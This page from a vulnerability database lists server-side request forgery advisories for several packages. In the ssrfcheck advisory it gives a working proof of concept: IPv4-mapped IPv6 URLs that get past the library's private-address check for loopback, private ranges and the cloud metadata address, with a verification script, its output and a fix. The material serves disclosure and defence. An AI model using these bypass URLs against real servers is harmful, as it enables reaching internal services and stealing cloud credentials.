CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4714 vulnerabilities reference this CWE, most recent first.
GHSA-J48Q-H4RM-WPHJ
Vulnerability from github – Published: 2025-06-27 09:31 – Updated: 2025-06-27 09:31The Ninja Tables – Easy Data Table Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.18 via the args[url] parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-2940"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-27T09:15:25Z",
"severity": "HIGH"
},
"details": "The Ninja Tables \u2013 Easy Data Table Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.18 via the args[url] parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-j48q-h4rm-wphj",
"modified": "2025-06-27T09:31:19Z",
"published": "2025-06-27T09:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2940"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ninja-tables/tags/5.0.18/vendor/wpfluent/framework/src/WPFluent/Http/Client.php#L268"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ninja-tables/tags/5.0.19/vendor/wpfluent/framework/src/WPFluent/Http/Client.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ninja-tables/trunk/vendor/wpfluent/framework/src/WPFluent/Http/Client.php#L268"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3269692%40ninja-tables\u0026new=3269692%40ninja-tables\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02480559-be5c-4d23-9e62-bb76fafb4f42?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J4C5-89F5-F3PM
Vulnerability from github – Published: 2026-04-25 23:49 – Updated: 2026-04-25 23:49Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
< 2026.4.20 - Patched version:
2026.4.20
Impact
Browser profile creation normalized cdpUrl values before persisting them, but did not apply the configured browser SSRF policy at creation time. In deployments that explicitly disabled private-network CDP targets, a stored profile could still point at a private-network or metadata endpoint and later be probed by normal profile status flows.
Default trusted-operator browser behavior allows private-network CDP endpoints, so this only affected strict-mode deployments. Severity is low.
Fix
OpenClaw now checks CDP endpoints against the browser SSRF policy during profile creation and reachability operations.
Fix commits:
1fd049e3074cac72f6734a7fe88468c84f5f8bd7e90c89cf8b1459f2aa1f3a665be67392b6c03fdf
Release
Fixed in OpenClaw 2026.4.20.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:49:42Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.4.20`\n- Patched version: `2026.4.20`\n\n## Impact\n\nBrowser profile creation normalized `cdpUrl` values before persisting them, but did not apply the configured browser SSRF policy at creation time. In deployments that explicitly disabled private-network CDP targets, a stored profile could still point at a private-network or metadata endpoint and later be probed by normal profile status flows.\n\nDefault trusted-operator browser behavior allows private-network CDP endpoints, so this only affected strict-mode deployments. Severity is low.\n\n## Fix\n\nOpenClaw now checks CDP endpoints against the browser SSRF policy during profile creation and reachability operations.\n\nFix commits:\n\n- `1fd049e3074cac72f6734a7fe88468c84f5f8bd7`\n- `e90c89cf8b1459f2aa1f3a665be67392b6c03fdf`\n\n## Release\n\nFixed in OpenClaw `2026.4.20`.",
"id": "GHSA-j4c5-89f5-f3pm",
"modified": "2026-04-25T23:49:42Z",
"published": "2026-04-25T23:49:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j4c5-89f5-f3pm"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/1fd049e3074cac72f6734a7fe88468c84f5f8bd7"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/e90c89cf8b1459f2aa1f3a665be67392b6c03fdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Browser CDP profile creation skipped strict-mode SSRF checks"
}
GHSA-J4FV-R5W9-H675
Vulnerability from github – Published: 2024-06-26 06:30 – Updated: 2024-08-08 18:31Apache XML Security for C++ through 2.0.4 implements the XML Signature Syntax and Processing (XMLDsig) specification without protection against an SSRF payload in a KeyInfo element. NOTE: the supplier disputes this CVE Record on the grounds that they are implementing the specification "correctly" and are not "at fault."
{
"affected": [],
"aliases": [
"CVE-2024-34580"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-26T05:15:51Z",
"severity": "MODERATE"
},
"details": "Apache XML Security for C++ through 2.0.4 implements the XML Signature Syntax and Processing (XMLDsig) specification without protection against an SSRF payload in a KeyInfo element. NOTE: the supplier disputes this CVE Record on the grounds that they are implementing the specification \"correctly\" and are not \"at fault.\"",
"id": "GHSA-j4fv-r5w9-h675",
"modified": "2024-08-08T18:31:19Z",
"published": "2024-06-26T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34580"
},
{
"type": "WEB",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/apache-library-allows-server-side-request-forgery"
},
{
"type": "WEB",
"url": "https://github.com/zmanion/Vulnerabilities/blob/main/CVE-2024-21893.md"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/po2gocnw4gtf4boy5mmjb54g62qhbrl9"
},
{
"type": "WEB",
"url": "https://santuario.apache.org/download.html"
},
{
"type": "WEB",
"url": "https://shibboleth.atlassian.net/wiki/spaces/DEV/pages/3726671873/Santuario"
},
{
"type": "WEB",
"url": "https://www.sonatype.com/blog/the-exploited-ivanti-connect-ssrf-vulnerability-stems-from-xmltooling-oss-library"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J4H2-3WWR-928R
Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31Spring Boot Admin Server before 4.1.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to register instances with attacker-controlled healthUrl and managementUrl parameters without validation against private IP ranges or metadata endpoints. Attackers can force the server to make HTTP requests to arbitrary internal addresses and retrieve response bodies via the actuator proxy to exfiltrate cloud credentials.
{
"affected": [],
"aliases": [
"CVE-2026-62242"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T22:16:52Z",
"severity": "HIGH"
},
"details": "Spring Boot Admin Server before 4.1.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to register instances with attacker-controlled healthUrl and managementUrl parameters without validation against private IP ranges or metadata endpoints. Attackers can force the server to make HTTP requests to arbitrary internal addresses and retrieve response bodies via the actuator proxy to exfiltrate cloud credentials.",
"id": "GHSA-j4h2-3wwr-928r",
"modified": "2026-07-14T00:31:04Z",
"published": "2026-07-14T00:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62242"
},
{
"type": "WEB",
"url": "https://github.com/codecentric/spring-boot-admin/issues/5452"
},
{
"type": "WEB",
"url": "https://github.com/codecentric/spring-boot-admin/pull/5464"
},
{
"type": "WEB",
"url": "https://github.com/codecentric/spring-boot-admin/commit/1f991ea013e46360b8f8fb63fe4ad20a9bf0d551"
},
{
"type": "WEB",
"url": "https://github.com/codecentric/spring-boot-admin/releases/tag/4.1.2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/spring-boot-admin-server-ssrf-via-unauthenticated-instance-registration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J4RJ-2JR5-M439
Vulnerability from github – Published: 2026-05-05 20:29 – Updated: 2026-05-13 16:26Summary
ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.
Details
Vulnerable file: src/is-private-ip.js
The library detects IPv6 private addresses using the privIp6() function. The relevant portion:
// src/is-private-ip.js (lines ~40-60 of the published source)
function privIp6 (ip) {
return /^::$/.test(ip) ||
/^::1$/.test(ip) ||
/^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
/^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
/^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
// ... more patterns, all expect dot-notation ...
}
The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.
How WHATWG URL normalizes the address (src/parse-url.js):
const url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname); // e.g. '::ffff:7f00:1' ← hex, no dots
const ipVersion = isIP(ipcheck); // returns 6
The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:
127.0.0.1 → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1 → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101
So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).
Entry point (src/index.js):
if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
return false; // ← never reached for IPv4-mapped IPv6
}
return true; // ← always reached → BYPASS
PoC
Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.
Setup:
mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck
Step 1 — confirm WHATWG URL normalization:
node << 'EOF'
const addrs = [
['127.0.0.1', 'loopback'],
['169.254.169.254', 'AWS/GCP/Azure metadata'],
['192.168.1.1', 'private LAN'],
['10.0.0.1', '10.x range'],
];
for (const [ip, label] of addrs) {
const h = new URL('http://[::ffff:' + ip + ']/').hostname;
console.log(label + ' -> ' + h);
}
EOF
Expected output — confirms WHATWG drops dots:
loopback -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN -> [::ffff:c0a8:101]
10.x range -> [::ffff:a00:1]
Step 2 — trigger the bypass:
node << 'EOF'
const { isSSRFSafeURL } = require('ssrfcheck');
const bypasses = [
'http://[::ffff:127.0.0.1]/',
'http://[::ffff:169.254.169.254]/',
'http://[::ffff:192.168.1.1]/',
'http://[::ffff:10.0.0.1]/',
'http://[::ffff:172.16.0.1]/',
'http://[::ffff:7f00:1]/',
'http://[0:0:0:0:0:ffff:127.0.0.1]/',
];
for (const url of bypasses) {
const result = isSSRFSafeURL(url);
console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);
}
console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?', r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?', r3 === false);
EOF
Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):
[BYPASS] http://[::ffff:127.0.0.1]/ -> true
[BYPASS] http://[::ffff:169.254.169.254]/ -> true
[BYPASS] http://[::ffff:192.168.1.1]/ -> true
[BYPASS] http://[::ffff:10.0.0.1]/ -> true
[BYPASS] http://[::ffff:172.16.0.1]/ -> true
[BYPASS] http://[::ffff:7f00:1]/ -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -> true
---
127.0.0.1 caught? true
192.168.1.1 caught? true
[::1] caught? true
7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.
Full automated verification script (verify-ssrfcheck.js):
#!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization
const { isSSRFSafeURL } = require('ssrfcheck');
const RED = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN = '\x1b[36m';
const DIM = '\x1b[2m';
const RESET = '\x1b[0m';
const BYPASSES = [
{ url: 'http://[::ffff:127.0.0.1]/', label: 'loopback (127.0.0.1)' },
{ url: 'http://[::ffff:169.254.169.254]/', label: 'AWS meta (169.254.169.254)' },
{ url: 'http://[::ffff:192.168.1.1]/', label: 'LAN (192.168.1.1)' },
{ url: 'http://[::ffff:10.0.0.1]/', label: '10.x range (10.0.0.1)' },
{ url: 'http://[::ffff:172.16.0.1]/', label: '172.16.x (172.16.0.1)' },
{ url: 'http://[::ffff:7f00:1]/', label: 'hex form (direct)' },
{ url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded (0:0:0:0:0:ffff:127.0.0.1)' },
];
const BASELINE = [
{ url: 'http://127.0.0.1/', label: 'dotted loopback', expectFalse: true },
{ url: 'http://192.168.1.1/', label: 'private LAN', expectFalse: true },
{ url: 'http://[::1]/', label: 'IPv6 loopback', expectFalse: true },
{ url: 'https://example.com/', label: 'public domain', expectFalse: false },
];
console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);
console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
const parsed = new URL(url);
console.log(` ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}
console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
const result = isSSRFSafeURL(url);
if (result === true) bypassed++;
const tag = result === true
? `${RED}[BYPASS]${RESET}`
: `${GREEN}[caught]${RESET}`;
console.log(` ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}
console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
const result = isSSRFSafeURL(url);
const ok = (expectFalse ? result === false : result === true);
const tag = ok ? `${GREEN}[OK]${RESET} ` : `${RED}[FAIL]${RESET} `;
console.log(` ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}
console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);
Run:
node verify-ssrfcheck.js
# exit code 1 = bypasses confirmed (vulnerable)
# exit code 0 = all caught (fixed)
VIDEO POC ASCII CAST
--
Impact
Vulnerability type: Server-Side Request Forgery (SSRF) — complete protection bypass
Who is impacted: Any Node.js application that:
1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)
2. Uses isSSRFSafeURL() from ssrfcheck to validate that URL before making an outbound HTTP request
3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)
Concrete impact scenarios:
- Cloud metadata theft: On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat
- Internal network pivoting: Attacker reaches services on
10.x.x.x,172.16.x.x,192.168.x.xthat are not exposed to the internet, bypassing the only protection layer. - Localhost access: Attacker reaches
http://[::ffff:127.0.0.1]/adminor any service bound to loopback on the server.
The bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.
Weaknesses
CWE-918 — Server-Side Request Forgery (SSRF) CWE-184 — Incomplete List of Disallowed Inputs
Suggested Fix
Replace the hand-rolled regex denylist in src/is-private-ip.js with Node's built-in net.BlockList, which operates on parsed IP values and is immune to string representation differences:
- function privIp6 (ip) {
- return /^::$/.test(ip) ||
- /^::1$/.test(ip) ||
- /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
- /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
- ...
- }
+ const { BlockList } = require('net');
+
+ const _ipv6Block = new BlockList();
+ _ipv6Block.addAddress('::', 'ipv6'); // unspecified
+ _ipv6Block.addAddress('::1', 'ipv6'); // loopback
+ _ipv6Block.addSubnet('::ffff:0:0', 96, 'ipv6'); // ALL IPv4-mapped — catches any private IPv4 in any notation
+ _ipv6Block.addSubnet('64:ff9b::', 96, 'ipv6'); // NAT64
+ _ipv6Block.addSubnet('fc00::', 7, 'ipv6'); // ULA
+ _ipv6Block.addSubnet('fe80::', 10, 'ipv6'); // link-local
+ _ipv6Block.addSubnet('ff00::', 8, 'ipv6'); // multicast
+ _ipv6Block.addSubnet('100::', 64, 'ipv6'); // IETF reserved
+ _ipv6Block.addSubnet('2001::', 32, 'ipv6'); // Teredo
+ _ipv6Block.addSubnet('2001:db8::', 32, 'ipv6'); // documentation
+ _ipv6Block.addSubnet('2002::', 16, 'ipv6'); // 6to4
+
+ function privIp6(ip) {
+ try { return _ipv6Block.check(ip, 'ipv6'); }
+ catch { return false; }
+ }
The ::ffff:0:0/96 subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. BlockList.check() parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ssrfcheck"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43929"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:29:33Z",
"nvd_published_at": "2026-05-12T18:17:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library\u0027s private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input \u2014 all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n return /^::$/.test(ip) ||\n /^::1$/.test(ip) ||\n /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname); // e.g. \u0027::ffff:7f00:1\u0027 \u2190 hex, no dots\nconst ipVersion = isIP(ipcheck); // returns 6\n```\n\nThe WHATWG URL spec (\u00a75.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1 \u2192 0x7f000001 \u2192 [0x7f00, 0x0001] \u2192 serialized as 7f00:1\n169.254.169.254 \u2192 0xa9fea9fe \u2192 [0xa9fe, 0xa9fe] \u2192 serialized as a9fe:a9fe\n192.168.1.1 \u2192 0xc0a80101 \u2192 [0xc0a8, 0x0101] \u2192 serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` \u2014 no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp \u0026\u0026 (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n return false; // \u2190 never reached for IPv4-mapped IPv6\n}\nreturn true; // \u2190 always reached \u2192 BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js \u003e= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required \u2014 default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc \u0026\u0026 cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 \u2014 confirm WHATWG URL normalization:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst addrs = [\n [\u0027127.0.0.1\u0027, \u0027loopback\u0027],\n [\u0027169.254.169.254\u0027, \u0027AWS/GCP/Azure metadata\u0027],\n [\u0027192.168.1.1\u0027, \u0027private LAN\u0027],\n [\u002710.0.0.1\u0027, \u002710.x range\u0027],\n];\nfor (const [ip, label] of addrs) {\n const h = new URL(\u0027http://[::ffff:\u0027 + ip + \u0027]/\u0027).hostname;\n console.log(label + \u0027 -\u003e \u0027 + h);\n}\nEOF\n```\n\nExpected output \u2014 confirms WHATWG drops dots:\n```\nloopback -\u003e [::ffff:7f00:1]\nAWS/GCP/Azure metadata -\u003e [::ffff:a9fe:a9fe]\nprivate LAN -\u003e [::ffff:c0a8:101]\n10.x range -\u003e [::ffff:a00:1]\n```\n\n**Step 2 \u2014 trigger the bypass:**\n\n```bash\nnode \u003c\u003c \u0027EOF\u0027\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst bypasses = [\n \u0027http://[::ffff:127.0.0.1]/\u0027,\n \u0027http://[::ffff:169.254.169.254]/\u0027,\n \u0027http://[::ffff:192.168.1.1]/\u0027,\n \u0027http://[::ffff:10.0.0.1]/\u0027,\n \u0027http://[::ffff:172.16.0.1]/\u0027,\n \u0027http://[::ffff:7f00:1]/\u0027,\n \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n];\n\nfor (const url of bypasses) {\n const result = isSSRFSafeURL(url);\n console.log(result === true ? \u0027[BYPASS]\u0027 : \u0027[caught]\u0027, url, \u0027-\u003e\u0027, result);\n}\n\nconsole.log(\u0027---\u0027);\nconst r1 = isSSRFSafeURL(\u0027http://127.0.0.1/\u0027);\nconst r2 = isSSRFSafeURL(\u0027http://192.168.1.1/\u0027);\nconst r3 = isSSRFSafeURL(\u0027http://[::1]/\u0027);\nconsole.log(\u0027127.0.0.1 caught?\u0027, r1 === false);\nconsole.log(\u0027192.168.1.1 caught?\u0027, r2 === false);\nconsole.log(\u0027[::1] caught?\u0027, r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/ -\u003e true\n[BYPASS] http://[::ffff:169.254.169.254]/ -\u003e true\n[BYPASS] http://[::ffff:192.168.1.1]/ -\u003e true\n[BYPASS] http://[::ffff:10.0.0.1]/ -\u003e true\n[BYPASS] http://[::ffff:172.16.0.1]/ -\u003e true\n[BYPASS] http://[::ffff:7f00:1]/ -\u003e true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -\u003e true\n---\n127.0.0.1 caught? true\n192.168.1.1 caught? true\n[::1] caught? true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require(\u0027ssrfcheck\u0027);\n\nconst RED = \u0027\\x1b[31m\u0027;\nconst GREEN = \u0027\\x1b[32m\u0027;\nconst CYAN = \u0027\\x1b[36m\u0027;\nconst DIM = \u0027\\x1b[2m\u0027;\nconst RESET = \u0027\\x1b[0m\u0027;\n\nconst BYPASSES = [\n { url: \u0027http://[::ffff:127.0.0.1]/\u0027, label: \u0027loopback (127.0.0.1)\u0027 },\n { url: \u0027http://[::ffff:169.254.169.254]/\u0027, label: \u0027AWS meta (169.254.169.254)\u0027 },\n { url: \u0027http://[::ffff:192.168.1.1]/\u0027, label: \u0027LAN (192.168.1.1)\u0027 },\n { url: \u0027http://[::ffff:10.0.0.1]/\u0027, label: \u002710.x range (10.0.0.1)\u0027 },\n { url: \u0027http://[::ffff:172.16.0.1]/\u0027, label: \u0027172.16.x (172.16.0.1)\u0027 },\n { url: \u0027http://[::ffff:7f00:1]/\u0027, label: \u0027hex form (direct)\u0027 },\n { url: \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027, label: \u0027expanded (0:0:0:0:0:ffff:127.0.0.1)\u0027 },\n];\n\nconst BASELINE = [\n { url: \u0027http://127.0.0.1/\u0027, label: \u0027dotted loopback\u0027, expectFalse: true },\n { url: \u0027http://192.168.1.1/\u0027, label: \u0027private LAN\u0027, expectFalse: true },\n { url: \u0027http://[::1]/\u0027, label: \u0027IPv6 loopback\u0027, expectFalse: true },\n { url: \u0027https://example.com/\u0027, label: \u0027public domain\u0027, expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 \u2014 bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n const parsed = new URL(url);\n console.log(` ${url.padEnd(45)} -\u003e hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n const result = isSSRFSafeURL(url);\n if (result === true) bypassed++;\n const tag = result === true\n ? `${RED}[BYPASS]${RESET}`\n : `${GREEN}[caught]${RESET}`;\n console.log(` ${tag} ${label.padEnd(30)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n const result = isSSRFSafeURL(url);\n const ok = (expectFalse ? result === false : result === true);\n const tag = ok ? `${GREEN}[OK]${RESET} ` : `${RED}[FAIL]${RESET} `;\n console.log(` ${tag} ${label.padEnd(20)} -\u003e isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed 